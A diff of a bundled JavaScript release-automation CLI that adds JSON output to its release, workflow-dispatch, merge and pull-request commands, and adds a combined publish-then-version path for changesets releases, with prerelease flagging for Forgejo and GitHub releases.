-	for (const r of actionable) logActionableChange(r, targetDir, pendingWrites);
-	if (failed.length === 0 && actionable.every((r) => isWorkflowDirPath(r.filePath))) {
-		rawLog$1(formatWarnMarker(actionable.length + toolchainWarnCount));
-		return 0;
-	}
-	return 1;
 }
 /** Files that are minified/bundled and produce unreadable diffs. */
 function isBundledFile(filePath) {
@@ -13849,11 +14201,12 @@ function readRemoteRef(executor, config, auth, ref) {
 * overwrite it. That overwrite is not hypothetical: it silently discarded a release, leaving a
 * version PR whose title advertised a bump its own branch no longer contained.
 *
-* Safe because a successor run does not merely *exist*, it *consumes these changesets*:
-* `runRelease` routes on changeset presence before it consults the publish guard, so a run cannot
-* enter publish mode while any changeset is still pending. A version-PR merge landing mid-run is
-* therefore not a way to strand them -- it either carries them still (the next run versions them)
-* or already consumed them (they are released).
+* Safe because a successor run does not merely *exist*, it *consumes these changesets*: every run
+* whose HEAD carries pending changesets runs version mode, either directly or after publishing the
+* version its HEAD bumped (a stale version-PR merge, whose commit carries both). So a successor
+* versions a superset of these changesets either way, and a version-PR merge landing mid-run is not
+* a way to strand them -- it either carries them still (the successor versions them after
+* publishing) or already consumed them (they are released).
 *
 * The remaining assumption is that main advances *solely* via commits that trigger a run: the
 * coverage and health records CI writes go to the `bst/*` orphan branches, never here. If a
@@ -14102,30 +14455,32 @@ async function runVersionMode(executor, config) {
 *
 * Evaluated from the workspace package list rather than from the tags this run happened to push, so
 * a rerun whose exact tags and releases all already exist still repairs a `@latest` an earlier
-* crashed run left behind. Each family reads the remote for itself, which is also what lets a
-* rejected lease on one package be re-decided against a fresh read.
+* crashed run left behind. One remote read per attempt serves every family in the workspace, and a
+* lease rejected on one package is re-decided against the next attempt's read.
 */
 function moveAllFloatingTags(executor, config, auth, packages, dryRun) {
-	const total = {
-		moved: [],
-		kept: [],
-		failed: []
-	};
-	for (const { family, version } of packages) {
-		const outcome = moveFloatingTags(executor, {
-			cwd: config.cwd,
-			git: {
-				args: auth.args,
-				url: auth.url
-			},
-			dryRun,
-			verbose: config.verbose
-		}, family, [version]);
-		total.moved.push(...outcome.moved);
-		total.kept.push(...outcome.kept);
-		total.failed.push(...outcome.failed);
+	return moveFloatingTags(executor, {
+		cwd: config.cwd,
+		git: {
+			args: auth.args,
+			url: auth.url
+		},
+		dryRun,
+		verbose: config.verbose
+	}, packages);
+}
+/**
+* Whether a tag this run is publishing names a prerelease, read back through the workspace's tag
+* families rather than by parsing the tag shape here -- `versionOfExact` is the one spelling of that
+* question, and a floating tag (or any tag no family recognises) answers "not a prerelease", which
+* fails open to today's behaviour of an unflagged release.
+*/
+function prereleaseTag(families, tag) {
+	for (const entry of families) {
+		const version = entry.family.versionOfExact(tag);
+		if (version !== void 0) return isPrerelease(version);
 	}
-	return total;
+	return false;
 }
 /**
 * Push a tag to the remote when it isn't there yet, creating the local tag first
@@ -14152,11 +14507,17 @@ function pushTagToRemote(executor, config, auth, tag, remoteSet) {
 }
 /** Mode 2: publish to npm, push tags, and create Forgejo releases. */
 async function runPublishMode(executor, config) {
-	log$1.info("No changesets -- publishing packages");
-	const publishResult = executor.exec("pnpm", ["changeset", "publish"], { cwd: config.cwd });
-	debugExec(config, "pnpm changeset publish", publishResult);
-	if (publishResult.exitCode !== 0) throw new FatalError(`pnpm changeset publish failed (exit code ${String(publishResult.exitCode)}):\n${childOutput(publishResult)}`);
-	const stdoutTags = parseNewTags(publishResult.stdout + "\n" + publishResult.stderr);
+	log$1.info("Publishing packages whose versions are not yet on the registry");
+	let stdoutTags;
+	if (config.dryRun) {
+		log$1.info("[dry-run] Would run pnpm changeset publish");
+		stdoutTags = [];
+	} else {
+		const publishResult = executor.exec("pnpm", ["changeset", "publish"], { cwd: config.cwd });
+		debugExec(config, "pnpm changeset publish", publishResult);
+		if (publishResult.exitCode !== 0) throw new FatalError(`pnpm changeset publish failed (exit code ${String(publishResult.exitCode)}):\n${childOutput(publishResult)}`);
+		stdoutTags = parseNewTags(publishResult.stdout + "\n" + publishResult.stderr);
+	}
 	debug(config, `Tags from publish stdout: ${stdoutTags.length > 0 ? stdoutTags.join(", ") : "(none)"}`);
 	const packages = executor.listWorkspacePackages(config.cwd);
 	const expectedTags = computeExpectedTags(packages);
@@ -14212,7 +14573,11 @@ async function runPublishMode(executor, config) {
 	for (const tag of allTags) try {
 		pushTagToRemote(executor, config, auth, tag, remoteSet);
 		debug(config, `Ensuring Forgejo release for ${tag}`);
-		if (await ensureRelease(executor, conn, tag, { target: resolveTagCommit(executor, config.cwd, tag) }) === "exists") log$1.warn(`Release for ${tag} already exists -- skipping`);
+		const { status: releaseStatus } = await ensureRelease(executor, conn, tag, {
+			target: resolveTagCommit(executor, config.cwd, tag),
+			prerelease: prereleaseTag(families, tag)
+		});
+		if (releaseStatus === "exists") log$1.warn(`Release for ${tag} already exists -- skipping`);
 		else log$1.info(`Created release for ${tag}`);
 	} catch (error) {
 		errors.push({
@@ -14382,13 +14747,20 @@ const releaseForgejoCommand = defineCommand({
 		verbose: {
 			type: "boolean",
 			description: "Enable detailed debug logging (also enabled by TOOLING_DEBUG env var)"
-		}
-	},
+		},
+		json: {
+			type: "boolean",
+			description: "Emit the release result as JSON"
+		}
+	},
 	async run({ args }) {
+		const out = createCliOutput(args.json === true);
+		const dryRun = args["dry-run"] === true;
 		const result = await runRelease(buildReleaseConfig({
-			dryRun: args["dry-run"] === true,
+			dryRun,
 			verbose: args.verbose === true || isEnvVerbose()
 		}), createRealExecutor$1());
+		out.json(releasePayload(result, dryRun));
 		if (result.mode === "publish") {
 			const outputFile = process.env["GITHUB_OUTPUT"];
 			if (outputFile) try {
@@ -14399,6 +14771,38 @@ const releaseForgejoCommand = defineCommand({
 		if (result.mode === "none") process.exitCode = 0;
 	}
 });
+/**
+* The `--json` payload for a changesets release run.
+*
+* `ReleaseResult` is a discriminated union whose variants carry different keys, and a consumer
+* reading `--json` should not have to reproduce that discrimination to read a field. So every key
+* is present on every mode, with `[]`/`null` standing in where the variant lacks it: `tags` is the
+* publish variant's, `pr` the version variant's, and `versioned` the publish variant's optional
+* second-half marker -- the stale-version-PR-merge row that both published and versioned.
+*/
+function releasePayload(result, dryRun) {
+	if (result.mode === "version") return {
+		mode: "version",
+		tags: [],
+		pr: result.pr,
+		versioned: null,
+		dryRun
+	};
+	if (result.mode === "publish") return {
+		mode: "publish",
+		tags: result.tags,
+		pr: null,
+		versioned: result.versioned ?? null,
+		dryRun
+	};
+	return {
+		mode: "none",
+		tags: [],
+		pr: null,
+		versioned: null,
+		dryRun
+	};
+}
 /** Build release config from environment / package.json and CLI flags. */
 function buildReleaseConfig(flags) {
 	const resolved = resolveConnection(process.cwd());
@@ -14434,11 +14838,17 @@ async function runRelease(config, executor) {
 	log$1.info(`Git identity: ${identity.name} <${identity.email}>`);
 	const changesetFiles = executor.listChangesetFiles(config.cwd);
 	debug(config, `Changeset files found: ${changesetFiles.length > 0 ? changesetFiles.join(", ") : "(none)"}`);
+	const bumped = headBumpedVersion(executor, config);
+	if (bumped && changesetFiles.length > 0) {
+		log$1.info(`HEAD bumped a version and changesets are still pending (${changesetFiles.join(", ")}) -- publishing the merged version first, then versioning the rest.`);
+		debug(config, "Entering publish mode, then version mode");
+		return publishThenVersion(executor, config);
+	}
 	if (changesetFiles.length > 0) {
 		debug(config, "Entering version mode");
 		return runVersionMode(executor, config);
 	}
-	if (!headBumpedVersion(executor, config)) {
+	if (!bumped) {
 		log$1.info("No changesets, and HEAD bumped no package version -- nothing to release. (Publishing runs on the commit that merges a 'version packages' PR.)");
 		debug(config, "Publish guard: HEAD is not a version-bump commit -- skipping publish");
 		return { mode: "none" };
@@ -14447,6 +14857,48 @@ async function runRelease(config, executor) {
 	return runPublishMode(executor, config);
 }
 /**
+* The combined row: HEAD both bumped a version and still carries changesets, which is what a
+* version PR merged while it was behind main lands.
+*
+* Publish first: versioning first would re-bump the tree on top of the unreleased bump and publish
+* the wrong number. Rewriting the version PR is then best-effort -- once packages are out, every
+* post-release step gates on this run having published, so a failure there is reported rather than
+* failing the release job. Restoring the checkout afterwards is not best-effort; see
+* {@link restorePublishedCheckout}.
+*/
+async function publishThenVersion(executor, config) {
+	const published = await runPublishMode(executor, config);
+	if (published.mode !== "publish") return runVersionMode(executor, config);
+	const head = executor.exec("git", ["rev-parse", "HEAD"], { cwd: config.cwd });
+	const publishedHead = head.exitCode === 0 ? head.stdout.trim() : "";
+	if (publishedHead === "") {
+		const detail = `Could not read HEAD after publishing, so the changesets still pending are not versioned by this run: ${head.stderr || head.stdout} The version PR waits for the next push to main rather than versioning a checkout this run could not put back.`;
+		log$1.warn(detail);
+		note(detail, "Version PR not rewritten");
+		return {
+			...published,
+			versioned: "failed"
+		};
+	}
+	try {
+		const versioned = await runVersionMode(executor, config);
+		return {
+			...published,
+			versioned: versioned.mode === "version" ? versioned.pr : "none"
+		};
+	} catch (error) {
+		const detail = `The packages are published and tagged, but the version PR was not rewritten by this run: ${describeError(error)}. The next push to main rewrites it.`;
+		log$1.warn(detail);
+		note(detail, "Version PR not rewritten");
+		return {
+			...published,
+			versioned: "failed"
+		};
+	} finally {
+		restorePublishedCheckout(executor, config, publishedHead);
+	}
+}
+/**
 * Whether the HEAD commit bumped an existing package's version relative to its
 * first parent -- the signal that a "version packages" PR just merged. Returns
 * false for a root commit (no parent) and for ordinary commits that don't
@@ -14483,6 +14935,30 @@ function headBumpedVersion(executor, config) {
 	debug(config, `Publish guard: HEAD bumped an existing version = ${String(bumped)}`);
 	return bumped;
 }
+/**
+* Put the checkout back on the published commit after the combined row's version half.
+*
+* The version half rewrites every `package.json`, `CHANGELOG.md` and `pnpm-lock.yaml` in place and
+* commits the result, so the tree it leaves behind names the *next* version. The steps gated on
+* this run's `published` output -- `docker:publish`, `release:assets` -- run in this same job on
+* this same checkout and take their version from that working tree, so an unrestored tree ships
+* images tagged with a version no registry or git tag carries, and the forward-only floating-tag
+* rule then moves `latest` onto it. Discarding the local version commit is safe: `runVersionMode`
+* has already force-pushed it to the version PR branch, or deliberately declined to push it.
+*
+* A failed reset is fatal, and the throw is also what withholds the `published` output -- a
+* post-release step reading a tree this run left half-versioned is the state this exists to
+* prevent, and a red job is the only honest answer to it.
+*/
+function restorePublishedCheckout(executor, config, publishedHead) {
+	debug(config, `Restoring the checkout to the published commit ${publishedHead}`);
+	const reset = executor.exec("git", [
+		"reset",
+		"--hard",
+		publishedHead
+	], { cwd: config.cwd });
+	if (reset.exitCode !== 0) throw new FatalError(`Could not restore the checkout to the published commit ${publishedHead}: ${reset.stderr || reset.stdout}`);
+}
 //#endregion
 //#region src/release/publish/dispatch.ts
 const INPUT_FLAG = "--input";
@@ -14531,8 +15007,8 @@ function parseInputs(raw) {
 * repository other than the current one, that token must have rights on it.
 */
 async function dispatchWorkflow(resolved, options, executor) {
-	if (resolved.type === "forgejo") await dispatchForgejo(resolved.conn, options, executor);
-	else dispatchGitHub(options, executor);
+	if (resolved.type === "forgejo") return dispatchForgejo(resolved.conn, options, executor);
+	return dispatchGitHub(options, executor);
 }
 async function dispatchForgejo(conn, options, executor) {
 	const repo = options.repo ?? conn.repository;
@@ -14553,6 +15029,13 @@ async function dispatchForgejo(conn, options, executor) {
 		ref: options.ref
 	}));
 	log$1.info(`Dispatched ${options.workflow} on ${repo} (ref: ${options.ref})`);
+	return {
+		host: "forgejo",
+		repo,
+		workflow: options.workflow,
+		ref: options.ref,
+		inputs: options.inputs
+	};
 }
 function dispatchGitHub(options, executor) {
 	const inputFlags = Object.entries(options.inputs).flatMap(([k, v]) => ["-f", `${k}=${v}`]);
@@ -14567,8 +15050,15 @@ function dispatchGitHub(options, executor) {
 		...inputFlags
 	], { cwd: process.cwd() });
 	if (result.exitCode !== 0) throw new FatalError(`Failed to dispatch workflow on GitHub: ${result.stderr || result.stdout || "unknown error"}`);
-	const repo = options.repo ?? parseRepositoryUrl(process.cwd())?.repository ?? "current repository";
-	log$1.info(`Dispatched ${options.workflow} on ${repo} (ref: ${options.ref})`);
+	const repo = options.repo ?? parseRepositoryUrl(process.cwd())?.repository ?? null;
+	log$1.info(`Dispatched ${options.workflow} on ${repo ?? "current repository"} (ref: ${options.ref})`);
+	return {
+		host: "github",
+		repo,
+		workflow: options.workflow,
+		ref: options.ref,
+		inputs: options.inputs
+	};
 }
 //#endregion
 //#region src/commands/release-trigger.ts
@@ -14592,19 +15082,28 @@ const releaseTriggerCommand = defineCommand({
 			type: "string",
 			description: "Create a prerelease with the given tag (e.g., beta, alpha)",
 			required: false
+		},
+		json: {
+			type: "boolean",
+			description: "Emit the dispatch result as JSON"
 		}
 	},
 	async run({ args }) {
+		const out = createCliOutput(args.json === true);
 		const ref = args.ref ?? "main";
 		const inputs = {};
 		if (args.bump) inputs["bump"] = args.bump;
 		if (args.prerelease) inputs["prerelease"] = args.prerelease;
-		await dispatchWorkflow(resolveConnection(process.cwd()), {
+		const result = await dispatchWorkflow(resolveConnection(process.cwd()), {
 			repo: void 0,
 			workflow: "release.yml",
 			ref,
 			inputs
 		}, createRealExecutor$1());
+		out.json({
+			status: "dispatched",
+			...result
+		});
 	}
 });
 //#endregion
@@ -14634,18 +15133,27 @@ const workflowDispatchCommand = defineCommand({
 			type: "string",
 			description: "Workflow input as key=value (repeatable)",
 			required: false
+		},
+		json: {
+			type: "boolean",
+			description: "Emit the dispatch result as JSON"
 		}
 	},
 	async run({ args, rawArgs }) {
+		const out = createCliOutput(args.json === true);
 		if (!args.workflow) throw new FatalError("--workflow is required");
 		const ref = args.ref ?? "main";
 		const inputs = parseInputs(collectInputArgs(rawArgs));
-		await dispatchWorkflow(resolveConnection(process.cwd()), {
+		const result = await dispatchWorkflow(resolveConnection(process.cwd()), {
 			repo: args.repo,
 			workflow: args.workflow,
 			ref,
 			inputs
 		}, createRealExecutor$1());
+		out.json({
+			status: "dispatched",
+			...result
+		});
 	}
 });
 //#endregion
@@ -14655,16 +15163,35 @@ const createForgejoReleaseCommand = defineCommand({
 		name: "forgejo:create-release",
 		description: "Create a Forgejo release for a given tag"
 	},
-	args: { tag: {
-		type: "string",
-		description: "Git tag to create a release for",
-		required: true
-	} },
+	args: {
+		tag: {
+			type: "string",
+			description: "Git tag to create a release for",
+			required: true
+		},
+		json: {
+			type: "boolean",
+			description: "Emit the release result as JSON"
+		}
+	},
 	async run({ args }) {
+		const out = createCliOutput(args.json === true);
 		const conn = requireForgejo(process.cwd(), "forgejo:create-release");
 		const executor = createRealExecutor$1();
+		const prerelease = tagIsPrerelease(args.tag);
 		const target = resolveTagCommit(executor, process.cwd(), args.tag);
-		if (await ensureRelease(executor, conn, args.tag, { target }) === "exists") log$1.info(`Release for ${args.tag} already exists -- skipping`);
+		const outcome = await ensureRelease(executor, conn, args.tag, {
+			target,
+			prerelease
+		});
+		out.json({
+			status: outcome.status,
+			tag: args.tag,
+			target: target ?? null,
+			prerelease,
+			release: outcome.release
+		});
+		if (outcome.status === "exists") log$1.info(`Release for ${args.tag} already exists -- skipping`);
 		else log$1.info(`Created Forgejo release for ${args.tag}`);
 	}
 });
@@ -14866,6 +15393,12 @@ function evaluateConfirmingRead(second, first, delayMs) {
 		evidence: `Its merge base moved from ${first.mergeBase} to ${second.mergeBase} between the two reads.`
 	};
 }
+/** The passing verdict every returned result carries -- see {@link VersionMergeResult.verdict}. */
+const PASSED_VERDICT = {
+	ok: true,
+	retryable: null,
+	reason: null
+};
 async function mergeVersionPrForgejo(executor, conn, options) {
 	const prNumber = await findOpenPr(executor, conn, VERSION_PR_BRANCH);
 	if (prNumber === null) throw new FatalError(`No open PR found for branch ${VERSION_PR_BRANCH}`);
@@ -14874,6 +15407,8 @@ async function mergeVersionPrForgejo(executor, conn, options) {
 	const firstGate = await readMergeGate(executor, conn, prNumber);
 	logGateRead(prNumber, firstGate);
 	let verdict = evaluateVersionPr(stateFromGate(prNumber, firstGate, mergeabilityFromFirstRead(firstGate.mergeable)));
+	let decidedFrom = firstGate;
+	let rechecked = false;
 	if (needsRecheck(verdict)) {
 		log$1.info(`changesets:merge: PR #${String(prNumber)}'s mergeability is not confirmed yet -- re-reading after ${String(recheckDelayMs)}ms`);
 		await sleep$1(recheckDelayMs);
@@ -14881,11 +15416,26 @@ async function mergeVersionPrForgejo(executor, conn, options) {
 		logGateRead(prNumber, secondGate);
 		const confirming = evaluateConfirmingRead(secondGate, firstGate, recheckDelayMs);
 		verdict = evaluateVersionPr(stateFromGate(prNumber, secondGate, confirming.mergeable, confirming.evidence));
+		decidedFrom = secondGate;
+		rechecked = true;
 	}
 	const headSha = headShaOrThrow(verdict);
+	const outcome = {
+		host: "forgejo",
+		number: prNumber,
+		headSha,
+		mergeBase: decidedFrom.mergeBase,
+		changedFiles: decidedFrom.changedFiles,
+		branch: VERSION_PR_BRANCH,
+		rechecked,
+		verdict: { ...PASSED_VERDICT }
+	};
 	if (options.dryRun) {
 		log$1.info(`[dry-run] Would merge PR #${String(prNumber)} at ${headSha} and delete branch ${VERSION_PR_BRANCH}`);
-		return;
+		return {
+			...outcome,
+			status: "would-merge"
+		};
 	}
 	await mergePr(executor, conn, prNumber, {
 		method: "merge",
@@ -14893,6 +15443,10 @@ async function mergeVersionPrForgejo(executor, conn, options) {
 		expectedHeadSha: headSha
 	});
 	log$1.info(`Merged PR #${String(prNumber)} and deleted branch ${VERSION_PR_BRANCH}`);
+	return {
+		...outcome,
+		status: "merged"
+	};
 }
 const GitHubVersionPrSchema = z.object({
 	number: z.number(),
@@ -14925,9 +15479,22 @@ function mergeVersionPrGitHub(executor, options) {
 		headSha: data.headRefOid,
 		emptiness
 	}));
+	const outcome = {
+		host: "github",
+		number: data.number,
+		headSha,
+		mergeBase: null,
+		changedFiles: data.changedFiles,
+		branch: VERSION_PR_BRANCH,
+		rechecked: false,
+		verdict: { ...PASSED_VERDICT }
+	};
 	if (options.dryRun) {
 		log$1.info(`[dry-run] Would merge PR #${String(data.number)} at ${headSha} and delete branch ${VERSION_PR_BRANCH}`);
-		return;
+		return {
+			...outcome,
+			status: "would-merge"
+		};
 	}
 	const result = executor.exec("gh", [
 		"pr",
@@ -14940,6 +15507,10 @@ function mergeVersionPrGitHub(executor, options) {
 	], { cwd: process.cwd() });
 	if (result.exitCode !== 0) throw new FatalError(`Failed to merge PR: ${result.stderr || result.stdout || "unknown error"}`);
 	log$1.info(`Merged changesets PR and deleted branch ${VERSION_PR_BRANCH}`);
+	return {
+		...outcome,
+		status: "merged"
+	};
 }
 //#endregion
 //#region src/commands/changesets-merge.ts
@@ -14948,16 +15519,23 @@ const releaseMergeCommand = defineCommand({
 		name: "changesets:merge",
 		description: "Merge the open changesets version PR"
 	},
-	args: { "dry-run": {
-		type: "boolean",
-		description: "Show what would be merged without actually merging"
-	} },
+	args: {
+		"dry-run": {
+			type: "boolean",
+			description: "Show what would be merged without actually merging"
+		},
+		json: {
+			type: "boolean",
+			description: "Emit the merge result as JSON"
+		}
+	},
 	async run({ args }) {
+		const out = createCliOutput(args.json === true);
 		const dryRun = args["dry-run"] === true;
 		const resolved = resolveConnection(process.cwd());
 		const executor = createRealExecutor$1();
-		if (resolved.type === "forgejo") await mergeVersionPrForgejo(executor, resolved.conn, { dryRun });
-		else mergeVersionPrGitHub(executor, { dryRun });
+		const result = resolved.type === "forgejo" ? await mergeVersionPrForgejo(executor, resolved.conn, { dryRun }) : mergeVersionPrGitHub(executor, { dryRun });
+		out.json(result);
 	}
 });
 //#endregion
@@ -15640,7 +16218,39 @@ async function readGitHubPrUrl(executor, cwd, prNumber, signal = null) {
 		signal
 	});
 	if (result.exitCode !== 0) return null;
-	return result.stdout.trim() || null;
+	return urlFromGhStdout(result.stdout);
+}
+/**
+* The pull request number carried by a PR's web URL, or `null` when the URL does not end in one.
+*
+* `gh pr create` prints only the URL, so on the GitHub create path the number is not returned by
+* the forge -- but the URL's last path segment *is* the number, and the number is the field every
+* machine caller of this module wants. Deriving it here keeps the payload's `number` key honest on
+* both forges instead of silently null on one. Anything that is not a trailing `/pull/<digits>` --
+* a proxy URL, a bare host, an unexpected `gh` message -- yields `null` rather than a guess.
+*/
+function prNumberFromUrl(url) {
+	if (url === null) return null;
+	const match = /\/pull\/(\d+)\/?$/u.exec(url);
+	if (match?.[1] === void 0) return null;
+	return Number.parseInt(match[1], 10);
+}
+/**
+* The URL out of a `gh` invocation's stdout.
+*
+* `gh` has printed upgrade and warning lines beside the URL, so the whole blob is not the URL:
+* handing it to {@link prNumberFromUrl}, which end-anchors, would silently null the number and
+* misreport the `url` field for a run that in fact succeeded. The URL is recovered as the last
+* line that is a pull request URL -- last because a notice can land on either side of it. It must
+* end in `/pull/<digits>`, not merely be URL-shaped, because gh's upgrade notice carries a bare
+* release URL of its own on its second line. When no line matches, the trimmed stdout is returned
+* unchanged, which is what this function did before and keeps an unexpected-but-single-line shape
+* reported rather than dropped.
+*/
+function urlFromGhStdout(stdout) {
+	const trimmed = stdout.trim();
+	if (trimmed === "") return null;
+	return trimmed.split(/\r?\n/u).map((line) => line.trim()).filter((line) => line !== "").findLast((line) => /^https?:\/\/\S*\/pull\/\d+\/?$/u.test(line)) ?? trimmed;
 }
 async function upsertGitHub(executor, cwd, input, draft, signal = null) {
 	const { existing, shape, patch } = input;
@@ -15664,10 +16274,11 @@ async function upsertGitHub(executor, cwd, input, draft, signal = null) {
 			signal
 		});
 		if (result.exitCode !== 0) throw new FatalError(`Failed to create PR: ${result.stderr || result.stdout}`);
+		const url = urlFromGhStdout(result.stdout);
 		return {
 			action: "created",
-			number: null,
-			url: result.stdout.trim() || null,
+			number: prNumberFromUrl(url),
+			url,
 			...shape
 		};
 	}
@@ -15686,7 +16297,7 @@ async function upsertGitHub(executor, cwd, input, draft, signal = null) {
 			signal
 		});
 		if (result.exitCode !== 0) throw new FatalError(`Failed to update PR #${String(existing)}: ${result.stderr}`);
-		url = result.stdout.trim() || null;
+		url = urlFromGhStdout(result.stdout);
 	}
 	if (draft === false) {
 		const readyResult = await executor.execStream("gh", [
@@ -15783,12 +16394,17 @@ const prCreateCommand = defineCommand({
 			type: "boolean",
 			description: "Show what would happen without pushing"
 		},
+		json: {
+			type: "boolean",
+			description: "Emit the PR result as JSON"
+		},
 		verbose: {
 			type: "boolean",
 			description: "Emit detailed debug output"
 		}
 	},
 	async run({ args }) {
+		const out = createCliOutput(args.json === true);
 		const body = readBodySource(args.body ?? void 0, args["body-file"] ?? void 0);
 		const result = await runPrUpsert(createRealExecutor$1(), {
 			cwd: process.cwd(),
@@ -15802,6 +16418,10 @@ const prCreateCommand = defineCommand({
 			dryRun: args["dry-run"] === true,
 			verbose: args.verbose === true || isEnvVerbose()
 		});
+		out.json({
+			...result,
+			dryRun: args["dry-run"] === true
+		});
 		const target = `${result.branch} -> ${result.base}`;
 		const opening = result.action === "created" || result.action === "would-create";
 		if (result.action === "would-create" || result.action === "would-update") {
@@ -15861,12 +16481,17 @@ const prUpdateCommand = defineCommand({
 			type: "boolean",
 			description: "Show what would happen without pushing"
 		},
+		json: {
+			type: "boolean",
+			description: "Emit the PR result as JSON"
+		},
 		verbose: {
 			type: "boolean",
 			description: "Emit detailed debug output"
 		}
 	},
 	async run({ args }) {
+		const out = createCliOutput(args.json === true);
 		const body = readBodySource(args.body ?? void 0, args["body-file"] ?? void 0);
 		const rewrites = args.title !== void 0 || body !== void 0;
 		const result = await runPrUpsert(createRealExecutor$1(), {
@@ -15881,6 +16506,11 @@ const prUpdateCommand = defineCommand({
 			dryRun: args["dry-run"] === true,
 			verbose: args.verbose === true || isEnvVerbose()
 		});
+		out.json({
+			...result,
+			rewrites,
+			dryRun: args["dry-run"] === true
+		});
 		const target = `${result.branch} -> ${result.base}`;
 		const label = result.number === null ? "PR" : `PR #${String(result.number)}`;
 		if (result.action === "would-create" || result.action === "would-update") {
@@ -17777,79 +18407,6 @@ function renderPrChecks(report) {
 	return lines.join("\n");
 }
 //#endregion
-//#region src/utils/cli-output.ts
-const stdout = (msg) => console.log(msg);
-function initialState() {
-	return {
-		payload: void 0,
-		hasPayload: false,
-		error: void 0,
-		hasError: false,
-		notices: [],
-		wrote: false
-	};
-}
-let state = initialState();
-function isJsonRecord(value) {
-	return typeof value === "object" && value !== null && !Array.isArray(value);
-}
-function createCliOutput(jsonMode) {
-	const effective = jsonMode || isJsonMode();
-	return {
-		json: (payload) => {
-			if (!effective) return;
-			if (state.hasPayload) log$1.debug("cli-output: a second json() call overwrote the first -- last call wins.");
-			state.payload = payload;
-			state.hasPayload = true;
-		},
-		text: (message) => {
-			if (!effective) stdout(message);
-		},
-		notice: (message) => {
-			if (effective) state.notices.push(redact(message));
-			else stdout(message);
-		}
-	};
-}
-/** Replace what {@link flushJsonOutput} writes with an error document, discarding any payload
-* already recorded by `json()` -- buffered notices are not discarded, they fold into the error
-* document the same way they fold into a payload. */
-function recordJsonError(document) {
-	state.error = document;
-	state.hasError = true;
-}
-function buildFlushDocument() {
-	let base;
-	if (state.hasError) base = state.error;
-	else if (state.hasPayload) base = state.payload;
-	if (base === void 0) return void 0;
-	if (state.notices.length === 0) return base;
-	if (isJsonRecord(base)) return {
-		...base,
-		notices: state.notices
-	};
-	return {
-		payload: base,
-		notices: state.notices
-	};
-}
-/** Write the single recorded document -- the error document if `recordJsonError` was called,
-* otherwise the recorded payload, each with buffered notices folded in under `notices` when
-* the buffer is non-empty -- and report whether anything was written. */
-function flushJsonOutput() {
-	const document = buildFlushDocument();
-	if (document === void 0) return false;
-	stdout(JSON.stringify(document));
-	state.wrote = true;
-	return true;
-}
-/** Whether {@link flushJsonOutput} has already written a document this process -- the guard the
-* premature-exit net (`cli-json.ts`) reads to tell a normal flush from a process that died with
-* the command still outstanding. */
-function jsonDocumentWritten() {
-	return state.wrote;
-}
-//#endregion
 //#region src/commands/pr-checks.ts
 const prChecksCommand = defineCommand({
 	meta: {
@@ -18360,9 +18917,12 @@ async function runSimpleRelease(executor, config) {
 	if (!tag) throw new FatalError("Could not determine the new tag from git describe");
 	log$1.info(`Version ${version} tagged as ${tag}`);
 	if (config.dryRun) {
-		const slidingTags = config.noSlidingTags ? [] : computeSlidingTags(version);
+		const prerelease = isPrerelease(version);
+		let slidingTags = [];
+		if (!config.noSlidingTags && !prerelease) slidingTags = computeSlidingTags(version);
 		log$1.info(`[dry-run] Would push to origin with --follow-tags`);
-		if (slidingTags.length > 0) log$1.info(`[dry-run] Would create sliding tags: ${slidingTags.join(", ")}`);
+		if (prerelease && !config.noSlidingTags) log$1.info(`[dry-run] Floating tags will not move: ${version} is a prerelease`);
+		else if (slidingTags.length > 0) log$1.info(`[dry-run] Would create sliding tags: ${slidingTags.join(", ")}`);
 		if (!config.noRelease && config.platform) log$1.info(`[dry-run] Would create ${config.platform.type} release for ${tag}`);
 		return {
 			version,
@@ -18419,12 +18979,15 @@ async function runSimpleRelease(executor, config) {
 			},
 			dryRun: false,
 			verbose: config.verbose
-		}, simpleTagFamily(), [version]), false);
+		}, [{
+			family: simpleTagFamily(),
+			version
+		}]), false);
 	}
 	let releaseCreated = false;
 	if (!config.noRelease && config.platform) {
 		debug(config, `Creating ${config.platform.type} release for ${tag}`);
-		releaseCreated = await createPlatformRelease(executor, config, tag);
+		releaseCreated = await createPlatformRelease(executor, config, tag, version);
 	}
 	return {
 		version,
@@ -18434,23 +18997,29 @@ async function runSimpleRelease(executor, config) {
 		releaseCreated
 	};
 }
-async function createPlatformRelease(executor, config, tag) {
+async function createPlatformRelease(executor, config, tag, version) {
 	if (!config.platform) return false;
 	if (config.platform.type === "forgejo") {
 		const target = resolveTagCommit(executor, config.cwd, tag);
-		if (await ensureRelease(executor, config.platform.conn, tag, { target }) === "exists") {
+		const { status: releaseStatus } = await ensureRelease(executor, config.platform.conn, tag, {
+			target,
+			prerelease: isPrerelease(version)
+		});
+		if (releaseStatus === "exists") {
 			debug(config, `Release for ${tag} already exists, skipping`);
 			return false;
 		}
 		log$1.info(`Created Forgejo release for ${tag}`);
 		return true;
 	}
-	const ghResult = executor.exec("gh", [
+	const ghArgs = [
 		"release",
 		"create",
 		tag,
 		"--generate-notes"
-	], { cwd: config.cwd });
+	];
+	if (isPrerelease(version)) ghArgs.push("--prerelease");
+	const ghResult = executor.exec("gh", ghArgs, { cwd: config.cwd });
 	debugExec(config, "gh release create", ghResult);
 	if (ghResult.exitCode !== 0) {
 		log$1.warn(`Warning: Failed to create GitHub release: ${ghResult.stderr || ghResult.stdout}`);
@@ -18483,7 +19052,7 @@ const releaseSimpleCommand = defineCommand({
 		"sliding-tags": {
 			type: "boolean",
 			default: true,
-			description: "Create the sliding major/minor version tags vX and vX.Y (default). --no-sliding-tags skips them."
+			description: "Create the floating tags latest, vX and vX.Y for a release (default); a prerelease never moves them. --no-sliding-tags skips them entirely."
 		},
 		release: {
 			type: "boolean",
@@ -18501,9 +19070,14 @@ const releaseSimpleCommand = defineCommand({
 		prerelease: {
 			type: "string",
 			description: "Create a prerelease with the given tag (e.g., beta, alpha)"
+		},
+		json: {
+			type: "boolean",
+			description: "Emit the release result as JSON"
 		}
 	},
 	async run({ args }) {
+		const out = createCliOutput(args.json === true);
 		const cwd = process.cwd();
 		const verbose = args.verbose === true || isEnvVerbose();
 		const noRelease = args.release === false;
@@ -18531,6 +19105,10 @@ const releaseSimpleCommand = defineCommand({
 			releaseToken: resolveSimpleReleaseToken()
 		};
 		const result = await runSimpleRelease(createRealExecutor$1(), config);
+		out.json({
+			...result,
+			dryRun: config.dryRun
+		});
 		if (result.pushed) {
 			const outputFile = process.env["GITHUB_OUTPUT"];
 			if (outputFile) try {
@@ -19980,11 +20558,29 @@ const AuditEntrySchema = z.object({
 	decision: z.enum([
 		"allow",
 		"deny",
-		"passthrough"
-	]),
+		"passthrough",
+		"none"
